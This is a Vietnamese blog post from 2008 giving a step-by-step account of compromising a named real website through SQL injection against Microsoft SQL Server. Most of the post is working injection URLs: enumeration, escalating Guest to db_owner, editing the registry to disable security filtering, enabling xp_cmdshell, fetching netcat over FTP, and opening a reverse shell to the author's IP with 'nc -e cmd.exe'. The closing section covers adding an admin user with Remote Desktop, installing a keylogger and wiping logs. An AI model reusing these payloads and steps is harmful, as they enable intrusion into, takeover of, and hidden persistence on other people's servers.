Thursday, January 31, 2008

SQL Injection và nâng quyền với sa

Uhm dạo này đói kém cc ,sau một hồi tìm kiếm shop mong kiếm được chút cháo trên google thì tình cờ tìm được site

http://www.darksidecreations.com/category.asp?catcode=10

Chà site s-e-x thêm đại dấu ‘ vô

http://www.darksidecreations.com/category.asp?catcode=10′

KIỂM TRA
dính rồi … vui quá … nhào dzô check tiếp nào

http://www.darksidecreations.com/category.asp?catcode=10 and 1=convert(int,@@servername)--sp_password

Vậy là được Server name là : BACKUP

tiện thể làm luôn cái tên DB
http://www.darksidecreations.com/category.asp?catcode=10 and 1=convert(int,db_name())--sp_password

Được Database Name là : darkside

chậc đúng là dark ( site sex mà )

Kiểm tra cái thằng system user xem nào ..

http://www.darksidecreations.com/category.asp?catcode=10 and 1=convert(int,system_user)--sp_password

wow … hay quá nè … System_User ’sa’ ….
lúc này nghĩ ngay tới việc hack server … đã thiệt …

Kiểm tra coi thằng ku SAdmin nó có Enable cái OpenRowSet cho mình không ha

http://www.darksidecreations.com/category.asp?catcode=10;select%20*%20from%20openro wset(’sqloledb’,”;;,”)--sp_password

NÂNG & CHIẾM QUYỀN
Giờ .. làm gì nhỉ ??
ah đưa mình (Guest) dzô DB OWNER của DB Master .

Tại sao lại phải đưa Guest vào DataBase Owner cuar DataBase Master?
Bở vì la` DB Owner của Db Master mới có quyền thực hiện lệnh xp_regwrite,xp_regdeletevalue và xp_cmdshell.
Tại sao Guest lại sử dụng 2 lệnh xp_regwrite,xp_regdeletevalue và xp_cmdshell
Bởi vì :
xp_regwrite dùng để thực hiện lệnh ghi lên Registry của Windows
xp_regdeletevalue dùng để xóa dữ liệu trong Registry của Windows
xp_cmdshell dùng để gửi lệnh lên Windows dùng đề nâng quyền , chiếm quyền , cài backdoor …..

Còn đây là lệnh để đưa Guest vào Db Owner của Db Master

http://www.darksidecreations.com/category.asp?catcode=10;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’exec sp_msdropretry ‘xx update sysusers set sid=0×01 where name=”dbo”’,'xx’ exec sp_msdropretry ‘xx update dbo.test set sid=0×01,roles=0×01 where name=”Guest”’,'xx’ exec sp_executesql N’drop view dbo.test’--sp_password

Nếu chạy links trên mà không báo lỗi và được trả về trang :
http://www.darksidecreations.com/category.asp?catcode=10
tức là bạn đã thực hiện thành công việc đưa Guest vào Db Owner của Db Master nhưng để cho chắc ăn mình vẫn kiểm tra lại một lần nữa bằng cách sau :

http://www.darksidecreations.com/category.asp?catcode=10%20%20and%201=convert(int,( select%20top%201%20name%20from%20master..sysusers% 20where%20roles=0×01%20and%20name%20not%20in(’dbo’ )))--sp_password

Vậy là xong giờ thì thoải mái chạy xp_regwrite với cả xp_cmdshell
Có thể chạy xp_regwrite ,xp_regdeletevalue với xp_cmdshell rồi thì làm gì ???
Giờ login vào Database với user BUILTIN\ADMINISTRATOR với password = “”
chạy thế này ;

http://www.darksidecreations.com/category.asp?catcode=10;exec%20sp_executesql%20N’c reate%20view%20dbo.test%20as%20select%20*%20from%2 0master.dbo.sysxlogins’%20exec%20sp_msdropretry%20 ‘xx%20update%20sysusers%20set%20sid=0×01%20where%2 0name=”dbo”’,'xx’%20exec%20sp_msdropretry%20′xx% 20update%20dbo.test%20set%20xstatus=18%20where%20n ame=”BUILTIN\ADMINISTRATORS”’,'xx’%20exec%20sp_e xecutesql%20N’drop%20view%20dbo.test’--sp_password

Vậy là ta có một chú nằm vùng trong Db của nó … he he sau này mọi mệnh lệnh đề phải thông qua chú này …

Nhưng giờ xài xp_regwrite trước ha ..
Giờ mình dùng xp_regwrite để Enable cái OpenRowset đã bị thằng ku SysAdmin kia Disable ( tuy giờ đã Enable nhưng mình vẫn viết ra để các bạn biết )

http://www.darksidecreations.com/category.asp?catcode=10;exec master..xp_regwrite HKEY_LOCAL_MACHINE,’SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB’,’AllowInProcess‘,REG_DWORD,1--sp_password

http://www.darksidecreations.com/category.asp?catcode=10;exec master..xp_regwrite HKEY_LOCAL_MACHINE,’SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB’,’DisallowAdhocAccess‘,REG_DWORD,0--sp_password

Để ý mấy chỗ in đậm nhé:
1 : Enable
0 : Disable

he he chạy mà nó trả về trang chủ là thành công khỏi check
Giờ thì xài cái thằng xp_regdeletevalue để hủy chức năng ghi log và lọc dữ liệu của WINDOWS

http://www.darksidecreations.com/category.asp?catcode=10;exec master..xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters’,'EnableSecurityFilters’--sp_password

Giờ thì các bạn khỏi lo bị ghi log chính vì thế mình bỏ cái sp_password đi cũng được ^_^ nhưng bạn để lại cũng chẳng sao
Giờ đến lúc bật cái xp_cmdshell lên … à các bạn lưu ý nha ở trên là cho phép chạy xp_cmdshell còn ở đây là bật xp_cmdshell và allow updates kẻo lại chửi oan mình thì chết ….

http://www.darksidecreations.com/category.asp?catcode=10;select * from openrowset(’sqloledb’, ’server=BACKUP;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,”xpsql70.dll” exec sp_configure ”allow updates”, ”1” reconfigure with override’)--sp_password

Vậy là xong giờ thì dùng tới thằng xp_cmdshell để upload netcat
Giờ các bạn chuẩn bị cho mình thế này:
+ 1 Host có hộ trợ ftp
+ Backdoor Netcat

http://www.darksidecreations.com/category.asp?catcode=10;select%20*%20from%20openro wset(’sqloledb’,’server=BACKUP;uid=BUILTIN\Adminis trators;pwd=’,’set%20fmtonly%20off%20select%201%20 exec%20master..xp_cmdshell%20″echo%20open Domain%3Eftp %26 echo%20user%20user%20pass%3E%3Eftp %26 echo%20bin%3E%3Eftp %26 echo%20get file%3E%3Ef %26 echo quit%3E%3Ef”‘)--sp_password

Bước này là để tạo 1 file batch chứa những lệnh của FTP có nội dung như sau:
1. open domain //Domain của bạn
2. user user pass // User và Pass Login vào FTP
3. bin //Dạng Binary (Có 2 dạng ASCII và Binary)
4. get file //Tải file về nhớ điền đẩy đủ name và ext nhé
5. quit //đóng kết nối

Ở trên dùng lệnh echo >ftp (%3Eftp) và echo >>ftp (%3E%3Eftp) để ghi ra file ftp ở Windows thì dùng + (%26) nếu muốn chạy nhiều command trên 1 dòng

yep tiếp theo là chạy ftp để tải file netcat về

http://www.darksidecreations.com/category.asp?catcode=1;select%20*%20from%20openrow set(’sqloledb’,’server=BACKUP;uid=BUILTIN\Administ rators;pwd=’,’set%20fmtonly%20off%20select%201%20e xec%20master..xp_cmdshell%20″ftp -v -i -n -s:ftp”‘)--sp_password

Nếu các bạn thắc mắc về ftp -v -i -n -s:ftp
thì có thể vào Run->cmd gõ ftp -h để xem hoặc xem ở dưới ^_^

Quote:
Transfers files to and from a computer running an FTP server service
(sometimes called a daemon). Ftp can be used interactively.

FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]

-v Suppresses display of remote server responses.
-n Suppresses auto-login upon initial connection.
-i Turns off interactive prompting during multiple file
transfers.
-d Enables debugging.
-g Disables filename globbing (see GLOB command).
-s:filename Specifies a text file containing FTP commands; the
commands will automatically run after FTP starts.
-a Use any local interface when binding data connection.
-A login as anonymous.
-w:buffersize Overrides the default transfer buffer size of 4096.
host Specifies the host name or IP address of the remote
host to connect to.

Notes:
- mget and mput commands take y/n/q for yes/no/quit.
- Use Control-C to abort commands.

Nếu sau khi chạy bạn được chuyển về trang chủ thì tức là đã tải file thành công nhưng nếu bạn muốn kiểm tra lại thì dùng cách sau :

http://www.darksidecreations.com/category.asp?catcode=10;drop table checknc create table checknc (id int identity,result varchar(1000)) insert into checknc exec master..xp_cmdshell ‘dir filename‘--sp_password

filename: bạn điền chính xác tên file backdoor của bạn
sau đó chạy
http://www.darksidecreations.com/category.asp?catcode=10 and 1=convert(int,(select result from checknc where id=6))--sp_password

tại sao id=6 tại dỉ khi gõ dir filename thì

03/24/2006 06:54 AM 11,776 filename

nằm ở dòng thứ 6 ^_^
Có netcat rồi giờ tới bước kết nối vào shell ^_^
À trước tiên các bạn nên biết về command của netcat nhỉ ^_^
Quote:
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Yep giờ ở máy của bạn hãy vào Run->Cmd sau đó cd tới thư mục bạn chứa netcat chạy lệnh sau

nc -l -p 1786 -vv

1786 bạn có thể thay bằng bất cứ port nào bạn muốn
Giờ chạy ở Server :
http://www.darksidecreations.com/category.asp?catcode=10;select%20*%20from%20openro wset(’sqloledb’,’server=BACKUP;uid=BUILTIN\Adminis trators;pwd=’,’set%20fmtonly%20off%20select%201%20 exec%20master..xp_cmdshell%20″nc1.exe -e cmd.exe -d 58.187.32.40 1786″‘)--sp_password

command là nc1.exe -e cmd.exe -d 58.187.32.40 1786
nc1.exe là file netcat bạn vừa up lên server
58.187.32.40 là IP của bạn
1786 là port bạn vừa cho netcat chờ sẵn
-e cmd.exe thì xem ở trên ^_^

ok chạy xong quay về màn hình cmd.exe ở máy tính của bạn sẽ thấy như sau :

vậy là bạn đang ở cmd.exe của Server đấy gõ ipconfig thì biết

giờ tới tiết mục add user và đưa user vào group admin

command để chạy gồm có:
net user username password /add /domain

VD: net user elitematrix kenda4455 /add /domain

Giờ Add vào LocalGroup Administrator

net localgroup Administrators elitematrix /add

Có quyền Admin … nếu muốn Remote Desktop nữa thì

net localgroup “Remote Desktop Users” /add

Mở Remote Desktop Connection ra chứ còn chờ gì nữa

Vậy là ta có toàn quyền điều khiển server ^_^

Để hoàn thiện hơn, góp ý thêm một số chi tiết như sau :
1. Thực ra về kỹ thuật, cái này tại thời điểm hiện tại ko elite mấy đâu, cách đây 2 năm thì đúng thế.
2. Điểm elite ở đây là ý tưởng Add Group Remote cho User (chỗ này xin bản quyền ý tưởng của tôi tý)
3. Nếu một Hacker có kinh nghiệm, thì sau khi hoàn tất bước trên, sẽ làm ba bước như sau :
- Nâng quyền + set pass cho các user mặc định ít bị chú ý đến như : Guest, IWAN…chú ý enable user lên nếu cần
- Cài Keylogger vô Server, hay 1 malware tương tự.
- Xóa logs trước khi thoát khỏi Server.

Như vậy có thể đảm bảo rằng duy trì xâm nhập được lâu dài và bảo đảm an toàn được cho Attacker.

No comments: